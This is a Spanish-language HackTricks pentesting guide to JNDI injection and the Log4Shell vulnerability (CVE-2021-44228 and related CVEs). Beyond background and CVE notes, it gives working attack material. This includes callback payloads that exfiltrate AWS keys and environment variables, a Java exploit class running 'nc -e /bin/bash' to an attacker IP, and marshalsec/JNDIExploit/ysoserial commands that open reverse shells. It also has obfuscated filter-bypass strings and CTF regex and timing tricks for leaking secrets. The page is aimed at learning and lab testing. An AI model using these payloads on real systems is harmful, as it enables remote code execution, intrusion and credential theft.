38 KiB
JNDI - Java Naming and Directory Interface & Log4Shell
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- ¿Trabajas en una empresa de ciberseguridad? ¿Quieres ver tu empresa anunciada en HackTricks? ¿O quieres tener acceso a la última versión de PEASS o descargar HackTricks en PDF? ¡Consulta los PLANES DE SUSCRIPCIÓN!
- Descubre The PEASS Family, nuestra colección exclusiva de NFTs
- Obtén el swag oficial de PEASS & HackTricks
- Únete al 💬 grupo de Discord o al grupo de Telegram o sígueme en Twitter 🐦@carlospolopm.
- Comparte tus trucos de hacking enviando PRs al repositorio de hacktricks y al repositorio de hacktricks-cloud.
![](/.gitbook/assets/image%20%28675%29.png)
Encuentra las vulnerabilidades que más importan para que puedas solucionarlas más rápido. Intruder rastrea tu superficie de ataque, realiza escaneos proactivos de amenazas, encuentra problemas en toda tu pila tecnológica, desde APIs hasta aplicaciones web y sistemas en la nube. Pruébalo gratis hoy.
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
Información básica
JNDI ha estado presente en Java desde finales de la década de 1990. Es un servicio de directorio que permite a un programa Java encontrar datos a través de un directorio utilizando un servicio de nombres. Un servicio de nombres asocia valores (enlaces), por lo que se puede obtener a través de su referencia en el directorio.
JNDI tiene una serie de interfaces de proveedor de servicios (SPI) que le permiten utilizar una variedad de servicios de directorio. El objetivo de JNDI es obtener datos de otros sistemas de manera muy fácil. Incluso puedes obtener objetos Java de forma remota, y aquí es donde surge un problema.
Por ejemplo, existen SPI para el CORBA COS (Common Object Service), el Java RMI (Remote Method Interface) Registry y LDAP.
Referencia de nombres de JNDI
Para recuperar objetos Java, podrías serializarlos y guardar su representación binaria. Pero hay casos en los que esto no funcionará (quizás porque los datos sean demasiado grandes u otra razón).
Para guardar objetos Java de manera más fácil, se utilizan las Referencias de Nombres.
Existen 2 tipos de Referencias de Nombres:
- Direcciones de Referencia: Esto indica la dirección del objeto (rmi://servidor/ref), luego el objeto se recuperará de esa dirección.
- Fábrica Remota: En este caso, se apuntará a una clase de fábrica remota en la referencia de JNDI, luego, siguiendo la dirección de JNDI, se tomará la clase remota de la fábrica remota y se descargará y cargará la clase.
Esto es peligroso porque los atacantes pueden hacer que el sistema cargue objetos arbitrarios y ejecute código arbitrario, por lo tanto, existen algunas protecciones:
- RMI:
java.rmi.server.useCodeabseOnly = true
de forma predeterminada desde JDK 7u21, de lo contrario, permitirá cargar objetos Java personalizados de forma remota. Además, incluso si la protección está desactivada, se aplica un Administrador de Seguridad para configurar qué se puede cargar. - LDAP:
com.sun.jndi.ldap.object.trustURLCodebase = false
de forma predeterminada desde JDK 6u141, 7u131, 8u121, y no permitirá ejecutar objetos Java arbitrarios descargados. Pero si se establece entrue
, lo permitirá y no se aplicará ningún Administrador de Seguridad. - CORBA: No hay ninguna propiedad que se pueda configurar, pero siempre se aplica el Administrador de Seguridad.
Además, el Administrador de Nombres, el que va a seguir los enlaces de JNDI, no tiene ningún Administrador de Seguridad ni propiedad que se pueda configurar, por lo que siempre intentará obtener el objeto.
Como puedes ver, las protecciones en general no son suficientes porque no hay protección contra la carga de JNDI desde direcciones aleatorias y las protecciones de RMI, LDAP y CORBA se pueden eludir (dependiendo de la configuración) para cargar objetos Java arbitrarios o cargar objetos Java que abusarán de los componentes existentes en la aplicación como gadgets para ejecutar código arbitrario.
Ejemplo de URLs para abusar de JNDI:
- rmi://servidor-atacante/bar
- ldap://servidor-atacante/bar
- iiop://servidor-atacante/bar
Ejemplo de JNDI
Incluso si has establecido un PROVIDER_URL
, puedes indicar uno diferente en una búsqueda y se accederá a él: ctx.lookup("<url-controlada-por-el-atacante>")
y eso es lo que un atacante aprovechará para cargar objetos arbitrarios desde un sistema controlado por él.
CORBA
Un Objeto de Referencia Interoperable (IOR) es una referencia CORBA o RMI-IIOP que identifica de manera única un objeto en un servidor CORBA remoto. Los IOR pueden estar en formato binario o en representación hexadecimal de la cadena binaria.
Entre otra información, contiene el ID de tipo (un identificador único para una interfaz) y el Codebase (ubicación remota utilizada para obtener la clase de stub).
Tenga en cuenta que por defecto CORBA no se puede abusar.
Requiere:
- Se debe instalar un Administrador de seguridad
- La conexión al codebase controlado por el atacante debe estar permitida por el Administrador de seguridad. Hay diferentes formas de permitir esto:
- Permiso de socket:
permissions java.net.SocketPermission "*:1098-1099", "connect";
- Permiso de archivo que permite leer todos los archivos:
permission java.io.FilePermission "<<ALL FILES>>", "read";
- Permiso de archivo para leer la carpeta donde el atacante puede cargar los exploits (clases o archivo zip)
Es posible que encuentre políticas de proveedores que permitan esto de forma predeterminada.
RMI
Como se indica en la sección anterior de Referencia de nombres JNDI, RMI por defecto no permitirá descargar clases Java arbitrarias. Y además, incluso si lo hiciera, deberá burlar las políticas del Administrador de seguridad (en la sección anterior aprendimos que esto era posible con CORBA).
LDAP
En primer lugar, debemos distinguir entre una Búsqueda y una Consulta.
Una búsqueda utilizará una URL como ldap://localhost:389/o=JNDITutorial
para encontrar el objeto JNDITutorial de un servidor LDAP y recuperar sus atributos.
Una consulta está destinada a servicios de nombres ya que queremos obtener lo que está vinculado a un nombre.
Si la búsqueda LDAP se invocó con SearchControls.setReturningObjFlag() con true
, entonces el objeto devuelto se reconstruirá.
Por lo tanto, hay varias formas de atacar estas opciones.
Un atacante puede envenenar los registros LDAP introduciendo payloads en ellos que se ejecutarán en los sistemas que los recopilan (muy útil para comprometer decenas de máquinas si se tiene acceso al servidor LDAP). Otra forma de explotar esto sería realizar un ataque MitM en una búsqueda LDAP, por ejemplo.
En caso de que pueda hacer que una aplicación resuelva una URL LDAP de JNDI, puede controlar el LDAP que se buscará y podría enviar de vuelta el exploit (log4shell).
Exploit de deserialización
El exploit se serializa y se deserializará.
En caso de que trustURLCodebase
sea true
, un atacante puede proporcionar sus propias clases en el codebase; de lo contrario, deberá abusar de los gadgets en el classpath.
Exploit de referencia JNDI
Es más fácil atacar este LDAP utilizando referencias de JavaFactory:
Vulnerabilidad Log4Shell
La vulnerabilidad se introduce en Log4j porque admite una sintaxis especial en forma de ${prefix:name}
donde prefix
es uno de varios Lookups diferentes donde name
debe evaluarse. Por ejemplo, ${java:version}
es la versión actual en ejecución de Java.
En LOG4J2-313 se agregó un Lookup jndi
de la siguiente manera: "El JndiLookup permite recuperar variables a través de JNDI. De forma predeterminada, la clave se prefijará con java:comp/env/, sin embargo, si la clave contiene un ":" no se agregará ningún prefijo".
Con un : presente en la clave, como en ${jndi:ldap://example.com/a}
, no hay prefijo y se consulta el servidor LDAP para obtener el objeto. Y estos Lookups se pueden utilizar tanto en la configuración de Log4j como en el registro de líneas.
Por lo tanto, lo único necesario para obtener RCE es una versión vulnerable de Log4j que procese información controlada por el usuario. Y debido a que esta es una biblioteca ampliamente utilizada por aplicaciones Java para registrar información (incluidas las aplicaciones que están en Internet), era muy común tener log4j registrando, por ejemplo, encabezados HTTP recibidos como el User-Agent. Sin embargo, log4j no se utiliza solo para registrar información HTTP, sino cualquier entrada y datos que el desarrollador indique.
CVE de Log4Shell
- CVE-2021-44228 [Crítico]: La vulnerabilidad original 'Log4Shell' es una falla de deserialización no confiable. Clasificada como crítica en gravedad, esta obtiene una puntuación de 10 en la escala CVSS y concede capacidades de ejecución remota de código (RCE) a atacantes no autenticados, permitiendo la toma completa del sistema.
Reportada por Chen Zhaojun del Equipo de Seguridad de Alibaba Cloud a Apache el 24 de noviembre, CVE-2021-44228 afecta las configuraciones predeterminadas de varios frameworks de Apache, incluidos Apache Struts2, Apache Solr, Apache Druid, Apache Flink y otros.
Siendo la más peligrosa de todas, esta vulnerabilidad se encuentra en el componente log4j-core, limitado a las versiones 2.x: desde 2.0-beta9 hasta 2.14.1 inclusive. Se implementó una solución para Log4Shell en la versión 2.15.0, pero se consideró incompleta (sigue leyendo).
El analista de inteligencia de amenazas Florian Roth compartió reglas Sigma [1, 2] que se pueden utilizar como una de las defensas.\ - CVE-2021-45046 [Crítico, anteriormente Bajo]: Esta es una falla de Denegación de Servicio (DoS) que obtiene una puntuación de
3.79.0. La falla surgió como resultado de una solución incompleta que se implementó en 2.15.0 para CVE-2021-44228. Si bien la solución aplicada a 2.15.0 resolvió en gran medida la falla, ese no fue el caso para ciertas configuraciones no predeterminadas.
Log4j 2.15.0 realiza "un intento de mejor esfuerzo" para restringir las búsquedas JNDI LDAP a _localhost_ de forma predeterminada. Sin embargo, los atacantes que tienen control sobre los datos de entrada del Mapa de Contexto de Hilo (MDC) pueden crear payloads maliciosos a través de los patrones de Búsqueda JNDI para causar ataques DoS. Esto se aplica a configuraciones no predeterminadas en las que se utiliza un Diseño de Patrón no predeterminado que utiliza una Búsqueda de Contexto, por ejemplo, $${ctx:loginId}, o un patrón de Mapa de Contexto de Hilo (%X, %mdc o %MDC).
El bypass tomado de este tweet fue:
Aquí hay un PoC de cómo evitar las comprobaciones de allowedLdapHost y allowedClasses en Log4J 2.15.0 para lograr RCE:${jndi:ldap://127.0.0.1#evilhost.com:1389/a}
y para evitar allowedClasses, simplemente elija un nombre para una clase en el JDK. La deserialización ocurrirá como de costumbre.
__
__"Log4j 2.16.0 soluciona este problema eliminando el soporte para patrones de búsqueda de mensajes y deshabilitando la funcionalidad JNDI de forma predeterminada", afirma el aviso del NVD. Para aquellos en la rama 2.12.1, se ha retroportado una solución en la versión 2.12.2.\ - CVE-2021-4104 [Alto]: ¿Dijimos que las versiones de Log4j 2.x eran vulnerables? ¿Qué pasa con Log4j 1.x?
Aunque se pensaba que era seguro, Log4Shell encontró la forma de ocultarse también en la versión anterior de Log4j. Básicamente, las instancias de Log4j 1.x que utilizan la clase _JMSAppender_** en una configuración no predeterminada también se vuelven susceptibles a la falla de deserialización no confiable**.
Aunque es una variante menos grave de CVE-2021-44228, este CVE afecta a todas las versiones de los componentes log4j:log4j y org.apache.log4j:log4j para los cuales solo existen versiones 1.x. Debido a que estas son versiones fuera de servicio, no existe una solución para la rama 1.x en ningún lugar, y se debe actualizar a log4j-core 2.17.0. (Aparentemente, la versión 1.0 no es vulnerable).\ - CVE-2021-42550 [Moderado]: Esta es una vulnerabilidad en el framework de registro Logback. Sucesor de la biblioteca Log4j 1.x, Logback afirma continuar "donde log4j 1.x se queda".
Hasta la semana pasada, Logback también presumía que al ser "no relacionado con log4j 2.x, [logback] no comparte sus vulnerabilidades".
Esa suposición se desvaneció rápidamente cuando se descubrió que CVE-2021-4104 también afectaba a Log4j 1.x, y se evaluó la posibilidad de un posible impacto en Logback aquí. Se han lanzado nuevas versiones de Logback, 1.3.0-alpha11 y 1.2.9, que abordan esta vulnerabilidad menos grave aquí.\ - CVE-2021-45105 [Alto]: Se descubrió que Log4j 2.16.0 es vulnerable a una falla de DoS calificada como 'Alta' en gravedad. Apache ha lanzado una versión log4j 2.17.0 que soluciona el CVE. Se proporcionan más detalles sobre este desarrollo en el último informe de BleepingComputer.
- CVE-2021-44832: Este nuevo CVE afecta a la versión 2.17 de log4j. Esta vulnerabilidad requiere que el atacante controle el archivo de configuración de log4j, ya que es posible indicar una URL de JDNI en un JDBCAppender configurado. Para obtener información sobre la vulnerabilidad y la explotación, lea esta información.
Explotación de Log4Shell
Descubrimiento
Esta vulnerabilidad es muy fácil de descubrir porque enviará al menos una solicitud DNS a la dirección que indiques en tu carga útil. Por lo tanto, las cargas útiles como:
${jndi:ldap://x${hostName}.L4J.lt4aev8pktxcq2qlpdr5qu5ya.canarytokens.com/a}
(usando canarytokens.com)${jndi:ldap://c72gqsaum5n94mgp67m0c8no4hoyyyyyn.interact.sh}
(usando interactsh)${jndi:ldap://abpb84w6lqp66p0ylo715m5osfy5mu.burpcollaborator.net}
(usando Burp Suite)${jndi:ldap://2j4ayo.dnslog.cn}
(usando dnslog)${jndi:ldap://log4shell.huntress.com:1389/hostname=${env:HOSTNAME}/fe47f5ee-efd7-42ee-9897-22d18976c520}
(usando huntress)
Ten en cuenta que incluso si se recibe una solicitud DNS, eso no significa que la aplicación sea explotable (o incluso vulnerable), deberás intentar explotarla.
{% hint style="info" %} Recuerda que para explotar la versión 2.15 necesitas agregar la bypass de verificación de localhost: ${jndi:ldap://127.0.0.1#...} {% endhint %}
Descubrimiento local
Busca versiones locales vulnerables de la biblioteca con:
find / -name "log4j-core*.jar" 2>/dev/null | grep -E "log4j\-core\-(1\.[^0]|2\.[0-9][^0-9]|2\.1[0-6])"
Verificación
Algunas de las plataformas mencionadas anteriormente te permitirán insertar datos variables que se registrarán cuando se soliciten.
Esto puede ser muy útil para 2 cosas:
- Para verificar la vulnerabilidad
- Para filtrar información abusando de la vulnerabilidad
Por ejemplo, podrías solicitar algo como:
o como ${
jndi:ldap://jv-${sys:java.version}-hn-${hostName}.ei4frk.dnslog.cn/a}
y si se recibe una solicitud DNS con el valor de la variable de entorno, sabrás que la aplicación es vulnerable.
Otra información que podrías intentar filtrar:
${env:AWS_ACCESS_KEY_ID}
${env:AWS_CONFIG_FILE}
${env:AWS_PROFILE}
${env:AWS_SECRET_ACCESS_KEY}
${env:AWS_SESSION_TOKEN}
${env:AWS_SHARED_CREDENTIALS_FILE}
${env:AWS_WEB_IDENTITY_TOKEN_FILE}
${env:HOSTNAME}
${env:JAVA_VERSION}
${env:PATH}
${env:USER}
${hostName}
${java.vendor}
${java:os}
${java:version}
${log4j:configParentLocation}
${sys:PROJECT_HOME}
${sys:file.separator}
${sys:java.class.path}
${sys:java.class.path}
${sys:java.class.version}
${sys:java.compiler}
${sys:java.ext.dirs}
${sys:java.home}
${sys:java.io.tmpdir}
${sys:java.library.path}
${sys:java.specification.name}
${sys:java.specification.vendor}
${sys:java.specification.version}
${sys:java.vendor.url}
${sys:java.vendor}
${sys:java.version}
${sys:java.vm.name}
${sys:java.vm.specification.name}
${sys:java.vm.specification.vendor}
${sys:java.vm.specification.version}
${sys:java.vm.vendor}
${sys:java.vm.version}
${sys:line.separator}
${sys:os.arch}
${sys:os.name}
${sys:os.version}
${sys:path.separator}
${sys:user.dir}
${sys:user.home}
${sys:user.name}
Any other env variable name that could store sensitive information
Información de RCE
{% hint style="info" %}
Los hosts que ejecutan versiones de JDK superiores a 6u141, 7u131, 8u121 estarán protegidos contra el vector de carga de clases LDAP, PERO NO contra el vector de deserialización. Esto se debe a que com.sun.jndi.ldap.object.trustURLCodebase
está desactivado de forma predeterminada, por lo que JNDI no puede cargar una base de código remota utilizando LDAP. Pero debemos enfatizar que la deserialización y las fugas de variables aún son posibles.
Esto significa que para explotar las versiones mencionadas, deberás abusar de algún gadget confiable que exista en la aplicación Java (usando ysoserial o JNDIExploit, por ejemplo). Pero para explotar versiones inferiores, puedes hacer que carguen y ejecuten clases arbitrarias (lo que facilita el ataque).
Para obtener más información (como limitaciones en los vectores RMI y CORBA), consulta la sección de Referencia de Nombres JNDI anterior o https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know/ {% endhint %}
RCE - Marshalsec con carga útil personalizada
Este truco se toma completamente de la caja THM: https://tryhackme.com/room/solar__
Para este exploit, se utilizará la herramienta marshalsec (descarga una versión jar desde aquí) para crear un servidor de referencia LDAP que dirija las conexiones a nuestro servidor HTTP secundario donde se servirá el exploit:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://<your_ip_http_server>:8000/#Exploit"
Queremos que la víctima cargue el código que nos enviará una shell inversa, por lo que puedes crear un archivo java llamado Exploit.java con el siguiente contenido:
{% code title="" %}
public class Exploit {
static {
try {
java.lang.Runtime.getRuntime().exec("nc -e /bin/bash YOUR.ATTACKER.IP.ADDRESS 9999");
} catch (Exception e) {
e.printStackTrace();
}
}
}
{% endcode %}
Crea el archivo de clase ejecutando: javac Exploit.java -source 8 -target 8
y luego ejecuta un servidor HTTP en el mismo directorio donde se creó el archivo de clase: python3 -m http.server
.
El servidor LDAP de marshalsec debe apuntar a este servidor HTTP.
Luego, puedes hacer que el servidor web vulnerable ejecute la clase de exploit enviando un payload como:
${jndi:ldap://<LDAP_IP>:1389/Exploit}
RCE - JNDIExploit
{% hint style="info" %} Ten en cuenta que si Java no está configurado para cargar una base de código remota utilizando LDAP, este exploit personalizado no funcionará. En ese caso, debes abusar de una clase confiable para ejecutar código arbitrario. {% endhint %}
Para este ejemplo, simplemente ejecuta este servidor web vulnerable a log4shell en el puerto 8080: https://github.com/christophetd/log4shell-vulnerable-app (en el archivo README encontrarás cómo ejecutarlo). Esta aplicación vulnerable está registrando con una versión vulnerable de log4shell el contenido del encabezado de la solicitud HTTP X-Api-Version.
Luego, puedes descargar el archivo jar de JNDIExploit y ejecutarlo con:
wget https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/download/v1.2/JNDIExploit.v1.2.zip
unzip JNDIExploit.v1.2.zip
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 172.17.0.1 -p 8888 # Use your private IP address and a port where the victim will be able to access
Después de leer el código durante solo un par de minutos, en com.feihong.ldap.LdapServer y com.feihong.ldap.HTTPServer puedes ver cómo se crean los servidores LDAP y HTTP. El servidor LDAP entenderá qué carga útil debe servir y redirigirá a la víctima al servidor HTTP, que ejecutará el exploit.
En com.feihong.ldap.gadgets puedes encontrar algunos gadgets específicos que se pueden utilizar para ejecutar la acción deseada (potencialmente ejecutar código arbitrario). Y en com.feihong.ldap.template puedes ver las diferentes clases de plantillas que generarán los exploits.
Puedes ver todos los exploits disponibles con java -jar JNDIExploit-1.2-SNAPSHOT.jar -u
. Algunos útiles son:
ldap://null:1389/Basic/Dnslog/[domain]
ldap://null:1389/Basic/Command/Base64/[base64_encoded_cmd]
ldap://null:1389/Basic/ReverseShell/[ip]/[port]
# But there are a lot more
Entonces, en nuestro ejemplo, ya tenemos esa aplicación vulnerable de Docker en ejecución. Para atacarla:
# Create a file inside of th vulnerable host:
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}'
# Get a reverse shell (only unix)
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/ReverseShell/172.17.0.1/4444}'
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/Command/Base64/bmMgMTcyLjE3LjAuMSA0NDQ0IC1lIC9iaW4vc2gK}'
Al enviar los ataques, verás alguna salida en la terminal donde ejecutaste JNDIExploit-1.2-SNAPSHOT.jar.
Recuerda verificar java -jar JNDIExploit-1.2-SNAPSHOT.jar -u
para otras opciones de explotación. Además, en caso de necesitarlo, puedes cambiar el puerto de los servidores LDAP y HTTP.
RCE - JNDI-Exploit-Kit
De manera similar al exploit anterior, puedes intentar utilizar JNDI-Exploit-Kit para explotar esta vulnerabilidad.
Puedes generar las URLs para enviar al objetivo ejecutando:
# Get reverse shell in port 4444 (only unix)
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 172.17.0.1:1389 -J 172.17.0.1:8888 -S 172.17.0.1:4444
# Execute command
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 172.17.0.1:1389 -J 172.17.0.1:8888 -C "touch /tmp/log4shell"
Este ataque utilizando un objeto Java personalizado funcionará en laboratorios como la sala solar de THM. Sin embargo, esto generalmente no funcionará (ya que por defecto Java no está configurado para cargar un código remoto utilizando LDAP) creo que porque no está abusando de una clase confiable para ejecutar código arbitrario.
RCE - ysoserial y JNDI-Exploit-Kit
Esta opción es realmente útil para atacar versiones de Java configuradas para confiar solo en clases especificadas y no en todos. Por lo tanto, se utilizará ysoserial para generar serializaciones de clases confiables que se pueden utilizar como gadgets para ejecutar código arbitrario (la clase confiable abusada por ysoserial debe ser utilizada por el programa Java víctima para que el exploit funcione).
Usando ysoserial o ysoserial-modified puedes crear el exploit de deserialización que será descargado por JNDI:
# Rev shell via CommonsCollections5
java -jar ysoserial-modified.jar CommonsCollections5 bash 'bash -i >& /dev/tcp/10.10.14.10/7878 0>&1' > /tmp/cc5.ser
Utiliza JNDI-Exploit-Kit para generar enlaces JNDI donde el exploit estará esperando conexiones de las máquinas vulnerables. Puedes servir diferentes exploits que pueden generarse automáticamente con JNDI-Exploit-Kit o incluso tus propios payloads de deserialización (generados por ti o por ysoserial).
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 10.10.14.10:1389 -P /tmp/cc5.ser
Ahora puedes utilizar fácilmente un enlace JNDI generado para explotar la vulnerabilidad y obtener una shell inversa simplemente enviando a una versión vulnerable de log4j: ${ldap://10.10.14.10:1389/generated}
Bypasses
${${env:ENV_NAME:-j}ndi${env:ENV_NAME:-:}${env:ENV_NAME:-l}dap${env:ENV_NAME:-:}//attackerendpoint.com/}
${${lower:j}ndi:${lower:l}${lower:d}a${lower:p}://attackerendpoint.com/}
${${upper:j}ndi:${upper:l}${upper:d}a${lower:p}://attackerendpoint.com/}
${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://attackerendpoint.com/z}
${${env:BARFOO:-j}ndi${env:BARFOO:-:}${env:BARFOO:-l}dap${env:BARFOO:-:}//attackerendpoint.com/}
${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://attackerendpoint.com/}
${${::-j}ndi:rmi://attackerendpoint.com/} //Notice the use of rmi
${${::-j}ndi:dns://attackerendpoint.com/} //Notice the use of dns
${${lower:jnd}${lower:${upper:ı}}:ldap://...} //Notice the unicode "i"
Escáneres automáticos
- https://github.com/fullhunt/log4j-scan
- https://github.com/adilsoybali/Log4j-RCE-Scanner
- https://github.com/silentsignal/burp-log4shell
- https://github.com/cisagov/log4j-scanner
- https://github.com/Qualys/log4jscanwin
- https://github.com/hillu/local-log4j-vuln-scanner
- https://github.com/logpresso/CVE-2021-44228-Scanner
- https://github.com/palantir/log4j-sniffer - Encuentra bibliotecas locales vulnerables
Laboratorios para probar
- Máquina LogForge HTB
- Try Hack Me Solar room
- https://github.com/leonjza/log4jpwn
- https://github.com/christophetd/log4shell-vulnerable-app
Explotación posterior a Log4Shell
En este writeup de CTF se explica bien cómo es posible abusar de algunas características de Log4J.
La página de seguridad de Log4j tiene algunas frases interesantes:
A partir de la versión 2.16.0 (para Java 8), la funcionalidad de búsqueda de mensajes se ha eliminado por completo. Las búsquedas en la configuración siguen funcionando. Además, Log4j ahora deshabilita el acceso a JNDI de forma predeterminada. Las búsquedas de JNDI en la configuración ahora deben habilitarse explícitamente.
A partir de la versión 2.17.0 (y 2.12.3 y 2.3.1 para Java 7 y Java 6), solo se expanden recursivamente las cadenas de búsqueda en la configuración; en cualquier otro uso, solo se resuelve la búsqueda de nivel superior y las búsquedas anidadas no se resuelven.
Esto significa que de forma predeterminada no se puede utilizar ninguna explotación de jndi
. Además, para realizar búsquedas recursivas, es necesario tenerlas configuradas.
Por ejemplo, en ese CTF esto estaba configurado en el archivo log4j2.xml:
<Console name="Console" target="SYSTEM_ERR">
<PatternLayout pattern="%d{HH:mm:ss.SSS} %-5level %logger{36} executing ${sys:cmd} - %msg %n">
</PatternLayout>
</Console>
Búsquedas de entorno
En este CTF, el atacante controlaba el valor de ${sys:cmd}
y necesitaba extraer la bandera de una variable de entorno.
Como se ve en esta página en cargas útiles anteriores, hay diferentes formas de acceder a las variables de entorno, como: ${env:FLAG}
. En este CTF esto fue inútil, pero podría no serlo en otros escenarios de la vida real.
Exfiltración en excepciones
En el CTF, no se podía acceder al stderr de la aplicación Java utilizando log4J, pero las excepciones de Log4J se envían a stdout, que se imprime en la aplicación Python. Esto significa que al desencadenar una excepción, podíamos acceder al contenido. Una excepción para exfiltrar la bandera fue: ${java:${env:FLAG}}
. Esto funciona porque ${java:CTF{blahblah}}
no existe y se mostrará una excepción con el valor de la bandera:
Excepciones de patrones de conversión
Solo para mencionarlo, también se podía inyectar nuevos patrones de conversión y desencadenar excepciones que se registrarán en stdout
. Por ejemplo:
Esto no resultó útil para exfiltrar datos dentro del mensaje de error, porque la búsqueda no se resolvía antes del patrón de conversión, pero podría ser útil para otras cosas como la detección.
Expresiones regulares de patrones de conversión
Sin embargo, es posible utilizar algunos patrones de conversión que admiten expresiones regulares para exfiltrar información de una búsqueda utilizando expresiones regulares y abusando de comportamientos de búsqueda binaria o basados en el tiempo.
- Búsqueda binaria a través de mensajes de excepción
El patrón de conversión %replace
se puede utilizar para reemplazar contenido de una cadena incluso utilizando expresiones regulares. Funciona de la siguiente manera: replace{pattern}{regex}{substitution}
``Abusando de este comportamiento, podrías hacer que el reemplazo desencadene una excepción si la expresión regular coincide con algo dentro de la cadena (y no se producirá ninguna excepción si no se encuentra) de la siguiente manera:
%replace{${env:FLAG}}{^CTF.*}{${error}}
# The string searched is the env FLAG, the regex searched is ^CTF.*
## and ONLY if it's found ${error} will be resolved with will trigger an exception
- Basado en el tiempo
Como se mencionó en la sección anterior, %replace
admite regexes. Por lo tanto, es posible utilizar una carga útil de la página ReDoS para causar un tiempo de espera en caso de que se encuentre la bandera.
Por ejemplo, una carga útil como %replace{${env:FLAG}}{^(?=CTF)((.
)
)*salt$}{asd}
provocaría un tiempo de espera en ese CTF.
En este writeup, en lugar de utilizar un ataque ReDoS, se utilizó un ataque de amplificación para causar una diferencia de tiempo en la respuesta:
/%replace{ %replace{ %replace{ %replace{ %replace{ %replace{ %replace{${ENV:FLAG}}{CTF\{" + flagGuess + ".*\}}{#############################} }{#}{######################################################} }{#}{######################################################} }{#}{######################################################} }{#}{######################################################} }{#}{######################################################} }{#}{######################################################} }{#}{######################################################} }{#}{######################################################}
Si la bandera comienza con
flagGuess
, toda la bandera se reemplaza por 29#
(utilicé este carácter porque probablemente no formaría parte de la bandera). Cada uno de los 29#
resultantes se reemplaza por 54#
. Este proceso se repite 6 veces, ¡lo que da un total de29*54*54^6* =`` ``
96816014208
#
!Reemplazar tantos
#
provocará el tiempo de espera de 10 segundos de la aplicación Flask, lo que a su vez resultará en el código de estado HTTP 500 que se envía al usuario. (Si la bandera no comienza conflagGuess
, recibiremos un código de estado no 500)
Referencias
- https://blog.cloudflare.com/inside-the-log4j2-vulnerability-cve-2021-44228/
- https://www.bleepingcomputer.com/news/security/all-log4j-logback-bugs-we-know-so-far-and-why-you-must-ditch-215/
- https://www.youtube.com/watch?v=XG14EstTgQ4
- https://tryhackme.com/room/solar
- https://www.youtube.com/watch?v=Y8a5nB-vy78
- https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE.pdf
- https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/
- https://sigflag.at/blog/2022/writeup-googlectf2022-log4j/
![](/.gitbook/assets/image%20%28675%29.png)
Encuentra las vulnerabilidades que más importan para que puedas solucionarlas más rápido. Intruder rastrea tu superficie de ataque, realiza escaneos de amenazas proactivas, encuentra problemas en toda tu pila tecnológica, desde APIs hasta aplicaciones web y sistemas en la nube. Pruébalo gratis hoy.
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- ¿Trabajas en una empresa de ciberseguridad? ¿Quieres ver tu empresa anunciada en HackTricks? ¿O quieres tener acceso a la última versión de PEASS o descargar HackTricks en PDF? ¡Consulta los PLANES DE SUSCRIPCIÓN!
- Descubre The PEASS Family, nuestra colección exclusiva de NFTs
- Obtén el swag oficial de PEASS y HackTricks
- Únete al 💬 grupo de Discord o al grupo de telegram o sígueme en Twitter 🐦@carlospolopm.
- Comparte tus trucos de hacking enviando PR al repositorio de hacktricks y al repositorio de hacktricks-cloud.